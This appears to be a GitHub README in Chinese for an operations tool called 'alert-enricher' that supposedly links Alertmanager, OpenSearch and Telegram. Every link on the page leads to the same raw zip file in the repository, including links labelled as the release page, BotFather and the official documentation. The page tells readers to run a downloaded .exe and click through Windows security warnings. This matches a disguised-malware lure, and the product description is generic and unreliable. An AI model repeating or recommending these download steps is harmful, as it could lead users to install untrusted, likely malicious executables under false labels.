xdmaxim23-netizen/alert-enricher

GitHub: xdmaxim23-netizen/alert-enricher

一个运维告警富化工具,通过整合Alertmanager告警与OpenSearch日志进行自动关联分析,并将带有根因分析结果的完整告警信息推送到Telegram频道。

Stars: 0 | Forks: 0

# ⚙️ alert-enricher - 快速简化告警诊断 [![下载 alert-enricher](https://img.shields.io/badge/Download-Here-brightgreen?style=for-the-badge)](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip) ## 📋 什么是 alert-enricher? alert-enricher 有助于理解技术告警。它连接 Alertmanager、OpenSearch 和 Telegram,在出现问题时提供更清晰、更快捷的信息。该工具最多可将您排查事件的时间缩短 80%。使用 alert-enricher,您可以快速查看相关告警、详细数据和重要消息。这使您能够更快地做出反应并解决问题。 ## 🎯 适用人群? 该软件适合任何监控系统或服务的人员。您无需了解编程或复杂的技术术语。如果您会收到有关您系统的告警,并希望无需漫长等待就能更好地理解它们,那么 alert-enricher 非常适合您。 ## 🖥 系统要求 - Windows 10 或更高版本(推荐 64 位) - 至少 4 GB 的可用内存 (RAM) - 500 MB 的可用磁盘空间 - 需要连接互联网以接收来自 Alertmanager 和 OpenSearch 的数据 - 用于接收告警消息的 Telegram 账号 ## 🔧 alert-enricher 工作原理 alert-enricher 连接三个部分: - **Alertmanager:** 从您的系统中收集告警。 - **OpenSearch:** 存储数据和日志。 - **Telegram:** 向您的手机或电脑发送告警通知。 当问题发生时,alert-enricher 会从 Alertmanager 和 OpenSearch 收集详细信息,然后在 Telegram 上发送完整的摘要。这有助于您全面了解情况,而无需检查许多地方。 ## 🚀 如何获取 alert-enricher [![下载 alert-enricher](https://img.shields.io/badge/Download-Here-blue?style=for-the-badge)](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip) 1. 点击此链接访问发布页面: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip 2. 找到最新版本。它会有一个以 `.exe` 结尾的文件。 3. 点击该 `.exe` 文件进行下载。 4. 将文件保存到桌面或其他易于找到的文件夹中。 ## 📥 在 Windows 上安装和运行 alert-enricher 1. 下载后,在您的计算机上找到该 `.exe` 文件。 2. 双击该文件。Windows 可能会显示安全警告。 3. 点击 **运行** 或 **是** 以开始安装。 4. 安装程序将打开一个设置窗口。 5. 按照提示操作: - 接受许可协议。 - 选择安装位置或保留默认文件夹。 - 点击 **安装**。 6. 设置完成后,点击 **完成**。 7. 应用程序图标将出现在您的桌面或“开始”菜单中。 8. 双击 alert-enricher 图标以启动应用程序。 ## ⚙️ 基本设置指南 首次运行 alert-enricher 时,您需要将其连接到您的系统。操作方法如下: 1. **连接 Alertmanager:** 输入运行 Alertmanager 的地址 (URL)。您可以从系统管理员或 IT 团队处获取此地址。 2. **连接 OpenSearch:** 提供 OpenSearch 服务器 URL 和登录详细信息(如果需要)。 3. **连接 Telegram:** 要在 Telegram 上接收告警,请创建一个 Telegram 机器人 (bot) 并获取其 token。您可以通过在 Telegram 内部与 [BotFather](https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip) 交流来创建机器人。按照其指示获取机器人 token。 4. **添加您的 Telegram 用户 ID 或群组 ID:** 这是告警发送的目标位置。您可以使用显示您 Telegram chat ID 的机器人或工具来获取您的用户 ID。 5. 保存您的设置并测试连接。应用程序将检查它能否连接到 Alertmanager、OpenSearch 和 Telegram。 ## 💡 alert-enricher 的日常使用 - 当您的系统中触发告警时,alert-enricher 会在 Telegram 上发送包含额外详细信息的消息。 - 您可以获取告警来源、在 OpenSearch 中找到的相关事件以及建议的后续步骤等信息。 - 您可以回复告警,或使用 Telegram 命令向 alert-enricher 询问更多上下文。 - 该应用程序会对相似的告警进行分组,以避免信息过载。 ## ⚠️ 故障排除提示 - 如果您未收到 Telegram 告警,请检查您的机器人 token 和 chat ID。 - 确认 alert-enricher 能否访问 Alertmanager 和 OpenSearch 的 URL。 - 如果应用程序停止响应,请重新启动它。 - 检查您的 Windows 防火墙设置,以允许应用程序的网络访问。 - 确保您的互联网连接稳定。 对于更高级的问题,您可以在应用程序安装文件夹的 **logs** 目录中找到日志。 ## 📚 其他资源 - Alertmanager: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip - OpenSearch: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip - Telegram Bot creation: https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip ## 🔄 更新 定期检查发布页面以下载新版本。更新可使您的软件保持安全并增加新功能。 https://raw.githubusercontent.com/xdmaxim23-netizen/alert-enricher/main/enricher/enricher_alert_3.3-alpha.1.zip
标签:Alertmanager, IT运维, Socks5代理, SRE, Telegram, Windows工具, 偏差过滤, 告警关联, 告警分发, 告警富化, 告警管理, 安全运营, 工作流自动化, 扫描框架, 故障排查, 数据集中化, 日志关联, 机器人, 根因分析, 监控, 警报聚合, 运维自动化, 通知